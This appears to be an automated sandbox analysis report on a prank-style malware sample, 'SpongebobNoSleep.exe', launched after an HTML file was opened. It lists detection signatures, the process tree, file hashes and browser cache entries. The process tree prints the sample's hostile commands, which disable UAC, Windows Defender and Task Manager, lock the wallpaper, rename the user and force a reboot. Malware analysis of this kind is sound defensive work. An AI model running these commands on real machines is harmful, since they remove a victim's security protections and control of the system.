Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12-11-2024 16:41

Errors

Reason
Machine shutdown

General

  • Target

    new.html

  • Size

    29KB

  • MD5

    2806a898dab0335834284817894afe9b

  • SHA1

    dee0f8a73ca59c1f870feb3ea21cf43448d5554c

  • SHA256

    528b2a004f228be18d1456954fcafad4df37f8596d916752b03075572f630d55

  • SHA512

    35cd5e907bd993632970fb82a195f361308d2bbe4bd5f1f39d41b28d7905339a24c98e54a353d07dbc2a2d2534b1d301176c292ad5160a4242ae0bed7fc061be

  • SSDEEP

    192:0NFC5APpzk9A69K4ayPJXqype/9MlRHZ4IkEHQ0TFnG7hFNvFJjUPKTz8CHcO8Ey:0NF+TfjzPC5FJjcKMQRiRkT+7J

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Disables Task Manager via registry modification
  • A potential corporate email address has been identified in the URL: [email protected]
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • NTFS ADS 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument C:\Users\Admin\AppData\Local\Temp\new.html
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5844
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb235f3cb8,0x7ffb235f3cc8,0x7ffb235f3cd8
      2⤵
        PID:1036
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1884 /prefetch:2
        2⤵
          PID:5200
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4744
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
          2⤵
            PID:5148
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
            2⤵
              PID:5356
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
              2⤵
                PID:5996
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4120 /prefetch:1
                2⤵
                  PID:1640
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3920 /prefetch:1
                  2⤵
                    PID:2512
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
                    2⤵
                      PID:6100
                    • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3508 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:6132
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1740 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:784
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2948 /prefetch:1
                      2⤵
                        PID:1196
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
                        2⤵
                          PID:4832
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2368 /prefetch:1
                          2⤵
                            PID:5748
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5748 /prefetch:1
                            2⤵
                              PID:2576
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4652 /prefetch:8
                              2⤵
                                PID:3032
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=980 /prefetch:1
                                2⤵
                                  PID:824
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5832 /prefetch:1
                                  2⤵
                                    PID:2480
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:1
                                    2⤵
                                      PID:4952
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:1
                                      2⤵
                                        PID:4392
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6596 /prefetch:1
                                        2⤵
                                          PID:4584
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6652 /prefetch:1
                                          2⤵
                                            PID:2392
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6948 /prefetch:8
                                            2⤵
                                            • NTFS ADS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2280
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3116 /prefetch:1
                                            2⤵
                                              PID:5932
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6940 /prefetch:8
                                              2⤵
                                              • NTFS ADS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:2160
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1844,11674816033148242478,5816836206627931805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7016 /prefetch:8
                                              2⤵
                                              • NTFS ADS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:3164
                                          • C:\Windows\System32\CompPkgSrv.exe
                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                            1⤵
                                              PID:2480
                                            • C:\Windows\System32\CompPkgSrv.exe
                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                              1⤵
                                                PID:3016
                                              • C:\Windows\system32\AUDIODG.EXE
                                                C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004E8
                                                1⤵
                                                  PID:980
                                                • C:\Windows\System32\rundll32.exe
                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                  1⤵
                                                    PID:1840
                                                  • C:\Users\Admin\AppData\Local\Temp\Temp1_SpongebobNoSleep.zip\SpongebobNoSleep.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\Temp1_SpongebobNoSleep.zip\SpongebobNoSleep.exe"
                                                    1⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:716
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2BF8.tmp\SpongebobNoSleep.cmd""
                                                      2⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:668
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
                                                        3⤵
                                                        • Sets desktop wallpaper using registry
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2016
                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                        3⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2156
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
                                                        3⤵
                                                        • System Location Discovery: System Language Discovery
                                                        • Modifies registry key
                                                        PID:1472
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                        3⤵
                                                        • UAC bypass
                                                        • System Location Discovery: System Language Discovery
                                                        • Modifies registry key
                                                        PID:1404
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                        3⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:848
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                        3⤵
                                                        • System Location Discovery: System Language Discovery
                                                        • Modifies registry key
                                                        PID:5240
                                                      • C:\Windows\SysWOW64\net.exe
                                                        net user Admin /fullname:"SPONGEBOB FOUND YOU!!!"
                                                        3⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:5108
                                                        • C:\Windows\SysWOW64\net1.exe
                                                          C:\Windows\system32\net1 user Admin /fullname:"SPONGEBOB FOUND YOU!!!"
                                                          4⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:720
                                                      • C:\Windows\SysWOW64\shutdown.exe
                                                        shutdown /r /t 00
                                                        3⤵
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1048
                                                  • C:\Windows\system32\LogonUI.exe
                                                    "LogonUI.exe" /flags:0x4 /state0:0xa3a1b855 /state1:0x41c64e6d
                                                    1⤵
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:4676

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                    Filesize

                                                    152B

                                                    MD5

                                                    003b92b33b2eb97e6c1a0929121829b8

                                                    SHA1

                                                    6f18e96c7a2e07fb5a80acb3c9916748fd48827a

                                                    SHA256

                                                    8001f251d5932a62bfe17b0ba3686ce255ecf9adb95a06ecb954faa096be3e54

                                                    SHA512

                                                    18005c6c07475e6dd1ec310fe511353381cf0f15d086cf20dc6ed8825c872944185c767f80306e56fec9380804933aa37a8f12c720398b4b3b42cb216b41cf77

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                    Filesize

                                                    152B

                                                    MD5

                                                    051a939f60dced99602add88b5b71f58

                                                    SHA1

                                                    a71acd61be911ff6ff7e5a9e5965597c8c7c0765

                                                    SHA256

                                                    2cff121889a0a77f49cdc4564bdd1320cf588c9dcd36012dbc3669cf73015d10

                                                    SHA512

                                                    a9c72ed43b895089a9e036aba6da96213fedd2f05f0a69ae8d1fa07851ac8263e58af86c7103ce4b4f9cfe92f9c9d0a46085c066a54ce825ef53505fdb988d1f

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006

                                                    Filesize

                                                    62KB

                                                    MD5

                                                    c3c0eb5e044497577bec91b5970f6d30

                                                    SHA1

                                                    d833f81cf21f68d43ba64a6c28892945adc317a6

                                                    SHA256

                                                    eb48be34490ec9c4f9402b882166cd82cd317b51b2a49aae75cdf9ee035035eb

                                                    SHA512

                                                    83d3545a4ed9eed2d25f98c4c9f100ae0ac5e4bc8828dccadee38553b7633bb63222132df8ec09d32eb37d960accb76e7aab5719fc08cc0a4ef07b053f30cf38

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007

                                                    Filesize

                                                    63KB

                                                    MD5

                                                    710d7637cc7e21b62fd3efe6aba1fd27

                                                    SHA1

                                                    8645d6b137064c7b38e10c736724e17787db6cf3

                                                    SHA256

                                                    c0997474b99524325dfedb5c020436e7ea9f9c9a1a759ed6daf7bdd4890bdc2b

                                                    SHA512

                                                    19aa77bed3c441228789cf8f931ca6194cc8d4bc7bb85d892faf5eaeda67d22c8c3b066f8ceda8169177da95a1fe111bd3436ceeaf4c784bd2bf96617f4d0c44

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

                                                    Filesize

                                                    70KB

                                                    MD5

                                                    807dda2eb77b3df60f0d790fb1e4365e

                                                    SHA1

                                                    e313de651b857963c9ab70154b0074edb0335ef4

                                                    SHA256

                                                    75677b9722d58a0a288f7931cec8127fd786512bd49bfba9d7dcc0b8ef2780fc

                                                    SHA512

                                                    36578c5aedf03f9a622f3ff0fdc296aa1c2d3074aaea215749b04129e9193c4c941c8a07e2dbbf2f64314b59babb7e58dfced2286d157f240253641c018b8eda

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009

                                                    Filesize

                                                    19KB

                                                    MD5

                                                    76a3f1e9a452564e0f8dce6c0ee111e8

                                                    SHA1

                                                    11c3d925cbc1a52d53584fd8606f8f713aa59114

                                                    SHA256

                                                    381396157ed5e8021dd8e660142b35eb71a63aecd33062a1103ce9c709c7632c

                                                    SHA512

                                                    a1156a907649d6f2c3f7256405d9d5c62a626b8d4cd717fa2f29d2fbe91092a2b3fdd0716f8f31e59708fe12274bc2dea6c9ae6a413ea290e70ddf921fe7f274

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                    Filesize

                                                    3KB

                                                    MD5

                                                    dcb4ce9118f2c6f809d41f2e6e2fb3c8

                                                    SHA1

                                                    15d0ead23de78ef446a7e076884e7bff2a0c87c4

                                                    SHA256

                                                    2013686e8adc7c938aee049f3568eb6a99b5d0c2708c57ca0b8fc20143515571

                                                    SHA512

                                                    9c067a04f2b26919682893b50fa6956269a6f99e99cc163236a099fa7aebc9a763e865a0773820adc25a3eb7845f4309d06034d83476cc95dd99c8dadb773a3b

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                    Filesize

                                                    3KB

                                                    MD5

                                                    0820297fa429ba0d0ff6f8ffcd53208e

                                                    SHA1

                                                    093083b6547f1b417551d3c30d9f88af89164883

                                                    SHA256

                                                    b5cc47d7c669e081326e589712d613b370c8d48ea2df0b52ff2f88b0c395c7ff

                                                    SHA512

                                                    dbca5612a1a523f8be9e0b7ce7d91d16bc2789e97ba2b15a590abf14b6cbb245e36349c5bce32481804ae6ec29040efc45c046e6b5dec8ab75a035a2c2dd3ad9

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                    Filesize

                                                    1KB

                                                    MD5

                                                    9e71c7bf744692ed091d74d400ee58d9

                                                    SHA1

                                                    50ef64c71b632a8a31b0fd1aa7647f3fa9592e59

                                                    SHA256

                                                    0b160b4bac047c12e1709ddba30cd0e6114de93d7e1c9e073609e90f19741f7b

                                                    SHA512

                                                    38ce7abc83d6778c6f6a742884ebac458d4ee8d8fca844979089c90813a7d568ea1ae25280cd68d6337b68b8018b15974b7635d22b7b3db14f84dba00b8f1dfe

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                    Filesize

                                                    6KB

                                                    MD5

                                                    30fbe966425d45b3d7aaa4ce2a76a490

                                                    SHA1

                                                    6cad2f75e16c6ba1405c00fc25b048734d4e77dd

                                                    SHA256

                                                    49a5298f878f035b64c3b8df2bf6de4f41cee650ad99f5df291522cc6ecc42a1

                                                    SHA512

                                                    8225d5e13ddef2af9e15817b736b9e35d738cde14914a1b4bd65f249af622d740106f002fd9e6e7077c14b214e08df0944d2230838cb1ffb2aab6684751fbabf

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                    Filesize

                                                    5KB

                                                    MD5

                                                    a8bff5e946e26fab3e1a348c17246eba

                                                    SHA1

                                                    cf12f9211eb0dbc131cdfad0e69004a31bc6baf3

                                                    SHA256

                                                    b3c66ff7da5d53e6b4dcc9db63ce0b8f0fe9d536d10077f8a597ade4074cdbb5

                                                    SHA512

                                                    39a3b3913b1482554ae3b7c0b6d20487a35936dae76494718a46a63aad73ea31d7807c97394b5ce6c3d0b2c285568b8408dd18a5dc0c6d21c1048c2a1c3ff9cc

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                    Filesize

                                                    6KB

                                                    MD5

                                                    db5e5338a5554450347766dcb75803fa

                                                    SHA1

                                                    59b6bc27179238404ea305c864278f222600f599

                                                    SHA256

                                                    6561d2b6a3cc2a5d628a9f3b7bf74a1b2ba1d2b4d172d78589edac4ef115a2f7

                                                    SHA512

                                                    2463c7a15caac1dbb3ada6d77dc1b9d8e4d906058407947812b9927df1dfb51f5f588c036b26ddde5bb2543e6b0f4e95f47ae1aaee95f02e8d5f034a830d00ce

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                    Filesize

                                                    6KB

                                                    MD5

                                                    2c8b39f9a5206c4e5ea1e249a5a17ba8

                                                    SHA1

                                                    36cd46bad99ed7119c3eb42da7ad92eb631d6b9e

                                                    SHA256

                                                    b95d0a78f4a714e6263d723aff114740ddd064fb2db5994a4636576cd0043f70

                                                    SHA512

                                                    c7dca66f9c4a636e04c161db1f8bcf96fe1dab8222d32079a63884c1f23e27bebab6715ad8fc450ca92197c2dd3904f7ac8bde434558967d38f5f7893356e34b

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                    Filesize

                                                    5KB

                                                    MD5

                                                    2677cef61a606c2d7d02dbc5707dc6ba

                                                    SHA1

                                                    49ed753eea823edddbe0e82fe2f8195cf9dbbd15

                                                    SHA256

                                                    3d9519c718db9cd653a5e9dbc149ff60baa1f67caa22e6e590b833e367c3bb09

                                                    SHA512

                                                    0fef58c7594cfc1eea99779a6e273e35390e1781623e28ecab96628b749460f060f9d8b72ae8a87483bf4ef47402e480019c18c7e061552c7c74bba4ba1fc90e

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                    Filesize

                                                    6KB

                                                    MD5

                                                    447d1e5ffbd1847e1f1dd8e77ccca8a1

                                                    SHA1

                                                    8adeb29a7daa009b25daad20a81ddb4f16331821

                                                    SHA256

                                                    a869d348caaf5e945327ab3859f1e703fe41283f237a92c262692fcd3167fae2

                                                    SHA512

                                                    64f8615cb3234b73ace682b5f9404bc908c8c00e13e084c8cc546c2ad872d15cba6e14096e8da271f63fb9130eba1a19fe0d35c95f147dd28fd0bb7c77bce5aa

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                    Filesize

                                                    1KB

                                                    MD5

                                                    ad312f4caa8af952b5d032a4f05d0984

                                                    SHA1

                                                    5630f6dd10364a27f625f584a0dbb00e24f3d522

                                                    SHA256

                                                    3fe63dbcf39a3ed05029d6829573bb890b70c4bf400abe315102b77533319b25

                                                    SHA512

                                                    bdd501f51423ddc6a23b879795e08151253c9d7a0a2f026b8a4fbb57a84c2d05a1c3c289c1430d48b7d56e9b8b11240b15c2bb987c1f23fed999cdbe71c56faa

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                    Filesize

                                                    1KB

                                                    MD5

                                                    e2df7de9ab5617794cb7750db3881f08

                                                    SHA1

                                                    b454fda05567ed45e6fba0fda732aa42c5f0e053

                                                    SHA256

                                                    4e153a7a3873493a70cc8b4a94ac6089e5fa83ab83f4fef2f4bd4185b69f5085

                                                    SHA512

                                                    8a0ad8a7ec46b0a6a4a1304e1bc68ffa953839432fc02cdc84d385cacdd308757c1247f323f66d597fabfc8ce3b38edd3ebd926cfeea5a422f95925418e1f9b1

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                    Filesize

                                                    1KB

                                                    MD5

                                                    25b0be626a368b4efebdbb183c517969

                                                    SHA1

                                                    dbe236c0429a6b1c7afa1a88b0c6664c81349725

                                                    SHA256

                                                    9213f853287228b7a77c049df787bf9d726575577c343d539669bded7db7087d

                                                    SHA512

                                                    4cd2655e5e3ac1667fe6e9b6bb9c395e81a5f9915a00ccfd85ae77a7085b9f1fd8ff69f0166561499c26e0755db1348f45052333adc7f58148ca4bd01fd96970

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                    Filesize

                                                    1KB

                                                    MD5
